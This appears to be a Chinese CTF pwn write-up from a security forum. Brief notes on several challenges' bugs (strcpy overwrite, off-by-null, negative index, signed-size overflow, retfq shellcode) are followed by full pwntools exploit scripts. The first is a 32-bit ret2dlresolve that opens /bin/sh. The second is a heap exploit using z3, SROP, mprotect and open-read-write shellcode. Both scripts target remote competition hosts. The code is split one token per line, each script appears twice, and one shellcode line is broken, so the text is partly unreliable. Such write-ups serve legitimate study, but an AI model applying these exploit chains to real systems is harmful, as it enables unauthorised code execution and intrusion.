首先是利用strcpy把fd给覆盖为0
然后read hello_boy 通过检测
接着触发算数运算错误
就能进入栈溢出函数
最后就是直接用32位ret2dlresolve的模板了
限制点:glibc2.27,用seccomp禁掉了exec
漏洞点:edit函数有个隐性的off by null,当我们填充完chunk,然后下一个chunk的size为最低字节刚好为0x11时就能触发
然后我们依次把prev_size位高位清零,就能伪造prev_size,从而通过unlink实现overlap
利用思路:off by null 加 unlink 就能实现overlap,从而任意地址写,show函数有个加密
用z3解就行,把一个unsortedbin申请回来再show它的fd,就能泄露libc,最后套SROP读flag.txt的模板即可
漏洞点在add和free chunk时没有检测下标
所以我们可以填负数直接写free函数的GOT表,由于给了rwx权限
可以直接写shellcode执行,最后shellcode拓展攻击写orw
第一段shellcode必须可打印,先mmap出来一块32位可访问内存,读入第二段shellcode, 第二段可以不要求可打印了,这一段主要是为了配合retfq
跳到32位执行,
然后到32位以后可以使用open系统调用了,再跳回64位,这时候可以直接retfq
到下一句,可以写一起,然后64位下可以read进来flag, 然后使用一段cmp
+ jz
的形式写一段比较,如果flag对应位正确的话死循环,这样可以通过程序是否崩溃判断正确,于是可以进行爆破。
漏洞主要是写入data的时候v1是有符号16位,
后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,
这里的绕过可以在前面if (size <= v1)
使用v1为负数, 然后进入my_read
函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现my_read(buf, 0x0f0f)
的溢出,
配合堆风水,改掉对应的pipe->data位, 实现任意地址写
from
pwn
import
*
arch
=
32
challenge
=
"./test"
local
=
int
(sys.argv[
1
])
context(log_level
=
"debug"
,os
=
"linux"
)
if
local:
r
=
process(challenge)
elf
=
ELF(challenge)
else
:
r
=
remote(
"39.105.138.97"
,
1234
)
elf
=
ELF(challenge)
if
arch
=
=
64
:
context.arch
=
'amd64'
if
arch
=
=
32
:
context.arch
=
'i386'
p
=
lambda
: pause()
s
=
lambda
x : success(x)
re
=
lambda
x : r.recv(x)
ru
=
lambda
x : r.recvuntil(x)
rl
=
lambda
: r.recvline()
sd
=
lambda
x : r.send(x)
sl
=
lambda
x : r.sendline(x)
itr
=
lambda
: r.interactive()
sla
=
lambda
a, b : r.sendlineafter(a, b)
sa
=
lambda
a, b : r.sendafter(a, b)
leave_ret
=
0x080491a5
bss_stage
=
elf.bss()
+
0x200
fake_ebp
=
bss_stage
offset
=
0x4c
-
8
+
8
p1
=
b
"\x00"
*
0x30
sd(p1)
sleep(
1
)
sd(b
'A'
*
0x20
)
str1
=
b
'hello_boy'
str1
=
str1.ljust(
0x10
,b
'\x00'
)
sd(str1)
sl(
"-2147483648"
)
sl(
"-1"
)
sleep(
0.1
)
read_plt
=
0x80490C4
ppp_ret
=
0x08049581
pop_ebp_ret
=
0x08049583
leave_ret
=
0x080491a5
stack_size
=
0x800
bss_addr
=
0x0804c040
base_stage
=
bss_addr
+
stack_size
payload
=
flat(
'A'
*
offset
, p32(read_plt)
, p32(ppp_ret)
, p32(
0
)
, p32(base_stage)
, p32(
100
)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)
cmd
=
"/bin/sh"
plt_0
=
0x8049030
rel_plt
=
0x8048414
dynsym
=
0x08048248
strtab
=
0x08048318
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'read'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write_rel
=
flat(p32(r_offset), p32(r_info))
fake_write_str_addr
=
base_stage
+
36
+
align
+
0x10
fake_name
=
fake_write_str_addr
-
strtab
fake_sym
=
flat(p32(fake_name),p32(
0
),p32(
0
),p32(
0x12
))
fake_write_str
=
'system\x00'
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage
+
80
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write_rel
,
'A'
*
align
, fake_sym
, fake_write_str
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.send(payload2)
r.interactive()
from
pwn
import
*
arch
=
32
challenge
=
"./test"
local
=
int
(sys.argv[
1
])
context(log_level
=
"debug"
,os
=
"linux"
)
if
local:
r
=
process(challenge)
elf
=
ELF(challenge)
else
:
r
=
remote(
"39.105.138.97"
,
1234
)
elf
=
ELF(challenge)
if
arch
=
=
64
:
context.arch
=
'amd64'
if
arch
=
=
32
:
context.arch
=
'i386'
p
=
lambda
: pause()
s
=
lambda
x : success(x)
re
=
lambda
x : r.recv(x)
ru
=
lambda
x : r.recvuntil(x)
rl
=
lambda
: r.recvline()
sd
=
lambda
x : r.send(x)
sl
=
lambda
x : r.sendline(x)
itr
=
lambda
: r.interactive()
sla
=
lambda
a, b : r.sendlineafter(a, b)
sa
=
lambda
a, b : r.sendafter(a, b)
leave_ret
=
0x080491a5
bss_stage
=
elf.bss()
+
0x200
fake_ebp
=
bss_stage
offset
=
0x4c
-
8
+
8
p1
=
b
"\x00"
*
0x30
sd(p1)
sleep(
1
)
sd(b
'A'
*
0x20
)
str1
=
b
'hello_boy'
str1
=
str1.ljust(
0x10
,b
'\x00'
)
sd(str1)
sl(
"-2147483648"
)
sl(
"-1"
)
sleep(
0.1
)
read_plt
=
0x80490C4
ppp_ret
=
0x08049581
pop_ebp_ret
=
0x08049583
leave_ret
=
0x080491a5
stack_size
=
0x800
bss_addr
=
0x0804c040
base_stage
=
bss_addr
+
stack_size
payload
=
flat(
'A'
*
offset
, p32(read_plt)
, p32(ppp_ret)
, p32(
0
)
, p32(base_stage)
, p32(
100
)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)
cmd
=
"/bin/sh"
plt_0
=
0x8049030
rel_plt
=
0x8048414
dynsym
=
0x08048248
strtab
=
0x08048318
fake_write_addr
=
base_stage
+
28
fake_arg
=
fake_write_addr
-
rel_plt
r_offset
=
elf.got[
'read'
]
align
=
0x10
-
((base_stage
+
36
-
dynsym)
%
16
)
fake_sym_addr
=
base_stage
+
36
+
align
r_info
=
((((fake_sym_addr
-
dynsym)
/
/
16
) <<
8
) |
0x7
)
fake_write_rel
=
flat(p32(r_offset), p32(r_info))
fake_write_str_addr
=
base_stage
+
36
+
align
+
0x10
fake_name
=
fake_write_str_addr
-
strtab
fake_sym
=
flat(p32(fake_name),p32(
0
),p32(
0
),p32(
0x12
))
fake_write_str
=
'system\x00'
payload2
=
flat(
'AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage
+
80
)
, p32(base_stage
+
80
)
, p32(
len
(cmd))
, fake_write_rel
,
'A'
*
align
, fake_sym
, fake_write_str
)
payload2
+
=
flat(
'A'
*
(
80
-
len
(payload2)) , cmd
+
'\x00'
)
payload2
+
=
flat(
'A'
*
(
100
-
len
(payload2)))
r.send(payload2)
r.interactive()
from
pwn
import
*
from
z3
import
*
context.log_level
=
'debug'
context.arch
=
'amd64'
context.binary
=
'./babypwn'
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
sh
=
remote(
"39.105.130.158"
,
8888
)
def
solve(target):
a1
=
BitVec(
'a1'
,
33
)
ori_a1
=
a1
for
i
in
range
(
2
):
item1
=
(
32
*
a1) &
0xffffffff
a1 ^
=
item1 ^ (((a1 ^ item1) >>
17
) &
0xffffffff
) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >>
17
) &
0xffffffff
)) <<
13
) &
0xffffffff
)
s
=
Solver()
s.add(a1
=
=
target)
s.check()
result
=
s.model()
return
result[ori_a1].as_long()
def
add(size):
sh.sendlineafter(
">>> "
,
"1"
)
sh.sendafter(
"size:\n"
,
str
(size))
def
delete(index):
sh.sendlineafter(
">>> "
,
"2"
)
sh.sendlineafter(
"index:\n"
,
str
(index))
def
edit(index,data):
sh.sendlineafter(
">>> "
,
"3"
)
sh.sendlineafter(
"index:\n"
,
str
(index))
sh.sendafter(
"content:\n"
,data)
def
show(index):
sh.sendlineafter(
">>> "
,
"4"
)
sh.sendlineafter(
"index:"
,
str
(index))
sh.recvuntil(
'\n'
)
re1
=
int
(sh.recvuntil(
"\n"
)[:
-
1
],
16
)
re1
=
solve(re1)
re2
=
int
(sh.recvuntil(
"\n"
)[:
-
1
],
16
)
re2
=
solve(re2)
*
0x100000000
return
(re1
+
re2)
def
debug():
gdb.attach(sh)
pause()
for
i
in
range
(
7
):
add(
0x100
)
for
i
in
range
(
7
):
add(
0xf0
)
for
i
in
range
(
7
):
delete(i
+
7
)
add(
0x108
)
add(
0x80
)
add(
0x108
)
add(
0x100
)
add(
0x100
)
edit(
10
,b
'a'
*
0xf0
+
p64(
256
)
+
p64(
0x21
))
edit(
11
,b
'\x21'
*
0x10
)
edit(
9
,
'a'
*
0x108
)
edit(
9
,
'a'
*
0x107
+
'\x11'
)
edit(
9
,
'a'
*
0x106
+
'\x11'
)
edit(
9
,
'a'
*
0x105
+
'\x11'
)
edit(
9
,
'a'
*
0x104
+
'\x11'
)
edit(
9
,
'a'
*
0x103
+
'\x11'
)
edit(
9
,
'a'
*
0x102
+
'\x11'
)
edit(
9
,
'a'
*
0x100
+
'\xb0\x02'
)
for
i
in
range
(
7
):
delete(i)
delete(
7
)
delete(
10
)
delete(
8
)
add(
0x190
)
libc_base
=
show(
9
)
-
libc.sym[
'__malloc_hook'
]
-
0x10
-
96
print
(
hex
(libc_base))
malloc_hook
=
libc_base
+
libc.sym[
'__malloc_hook'
]
free_hook
=
libc_base
+
libc.symbols[
'__free_hook'
]
edit(
0
,b
'\x00'
*
0x100
+
p64(
0
)
+
p64(
0x90
)
+
p64(free_hook))
add(
0x80
)
add(
0x80
)
setcontext
=
libc_base
+
libc.symbols[
'setcontext'
]
success(
"setcontext: "
+
hex
(setcontext))
context.arch
=
"amd64"
new_execve_env
=
free_hook &
0xfffffffffffff000
shellcode1
=
%
new_execve_env
edit(
2
, p64(setcontext
+
53
)
+
p64(free_hook
+
0x10
)
+
asm(shellcode1))
frame
=
SigreturnFrame()
frame.rsp
=
free_hook
+
8
frame.rip
=
libc_base
+
libc.symbols[
'mprotect'
]
frame.rdi
=
new_execve_env
frame.rsi
=
0x1000
frame.rdx
=
4
|
2
|
1
edit(
11
,bytes(frame))
delete(
11
)
shellcode
=
""
shellcode
+
=
shellcraft.
open
(
'flag.txt'
)
shellcode
+
=
shellcraft.read(
3
,
'rsp'
,
100
)
shellcode
+
=
shellcraft.write(
1
,
'rsp'
,
100
)
payload
=
asm(shellcode)
sh.sendline(payload)
sh.interactive()
from
pwn
import
*
from
z3
import
*
context.log_level
=
'debug'
context.arch
=
'amd64'
context.binary
=
'./babypwn'
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
sh
=
remote(
"39.105.130.158"
,
8888
)
def
solve(target):
a1
=
BitVec(
'a1'
,
33
)
ori_a1
=
a1
for
i
in
range
(
2
):
item1
=
(
32
*
a1) &
0xffffffff
a1 ^
=
item1 ^ (((a1 ^ item1) >>
17
) &
0xffffffff
) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >>
17
) &
0xffffffff
)) <<
13
) &
0xffffffff
)
s
=
Solver()
s.add(a1
=
=
target)
s.check()
result
=
s.model()
return
result[ori_a1].as_long()
def
add(size):
sh.sendlineafter(
">>> "
,
"1"
)
sh.sendafter(
"size:\n"
,
str
(size))
def
delete(index):
sh.sendlineafter(
">>> "
,
"2"
)
sh.sendlineafter(
"index:\n"
,
str
(index))
def
edit(index,data):
sh.sendlineafter(
">>> "
,
"3"
)
sh.sendlineafter(
"index:\n"
,
str
(index))
sh.sendafter(
"content:\n"
,data)
def
show(index):
sh.sendlineafter(
">>> "
,
"4"
)
sh.sendlineafter(
"index:"
,
str
(index))
sh.recvuntil(
'\n'
)
re1
=
int
(sh.recvuntil(
"\n"
)[:
-
1
],
16
)
re1
=
solve(re1)
re2
=
int
(sh.recvuntil(
"\n"
)[:
-
1
],
16
)
re2
=
solve(re2)
*
0x100000000
return
(re1
+
re2)
def
debug():
gdb.attach(sh)
pause()
for
i
in
range
(
7
):
add(
0x100
)
for
i
in
range
(
7
):
add(
0xf0
)
for
i
in
range
(
7
):
delete(i
+
7
)
add(
0x108
)
add(
0x80
)
add(
0x108
)
add(
0x100
)
add(
0x100
)
edit(
10
,b
'a'
*
0xf0
+
p64(
256
)
+
p64(
0x21
))
edit(
11
,b
'\x21'
*
0x10
)
edit(
9
,
'a'
*
0x108
)
edit(
9
,
'a'
*
0x107
+
'\x11'
)
edit(
9
,
'a'
*
0x106
+
'\x11'
)
edit(
9
,
'a'
*
0x105
+
'\x11'
)
edit(
9
,
'a'
*
0x104
+
'\x11'
)
edit(
9
,
'a'
*
0x103
+
'\x11'
)
edit(
9
,
'a'
*
0x102
+
'\x11'
)
edit(
9
,
'a'
*
0x100
+
'\xb0\x02'
)
for
i
in
range
(
7
):
delete(i)
delete(
7
)
delete(
10
)
delete(
8
)
add(
0x190
)
libc_base
=
show(
9
)
-
libc.sym[
'__malloc_hook'
]
-
0x10
-
96
print
(
hex
(libc_base))
malloc_hook
=
libc_base
+
libc.sym[
'__malloc_hook'
]
free_hook
=
libc_base
+
libc.symbols[
'__free_hook'
]
edit(
0
,b
'\x00'
*
0x100
+
p64(
0
)
+
p64(
0x90
)
+
p64(free_hook))
add(
0x80
)
add(
0x80
)
setcontext
=
libc_base
+
libc.symbols[
'setcontext'
]
success(
"setcontext: "
+
hex
(setcontext))
context.arch
=
"amd64"
new_execve_env
=
free_hook &
0xfffffffffffff000
shellcode1
=
%
new_execve_env
edit(
2
, p64(setcontext
+
53
)
+
p64(free_hook
+
0x10
)
+
asm(shellcode1))
frame
=
SigreturnFrame()
frame.rsp
=
free_hook
+
8
frame.rip
=
libc_base
+
libc.symbols[
'mprotect'
]
frame.rdi
=
new_execve_env
frame.rsi
=
0x1000
frame.rdx
=
4
|
2
|
1
edit(
11
,bytes(frame))
delete(
11
)
shellcode
=
""
shellcode
+
=
shellcraft.
open
(
'flag.txt'
)
shellcode
+
=
shellcraft.read(
3
,
'rsp'
,
100
)
shellcode
+
=
shellcraft.write(
1
,
'rsp'
,
100
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-6-15 18:21
被77pray编辑
,原因: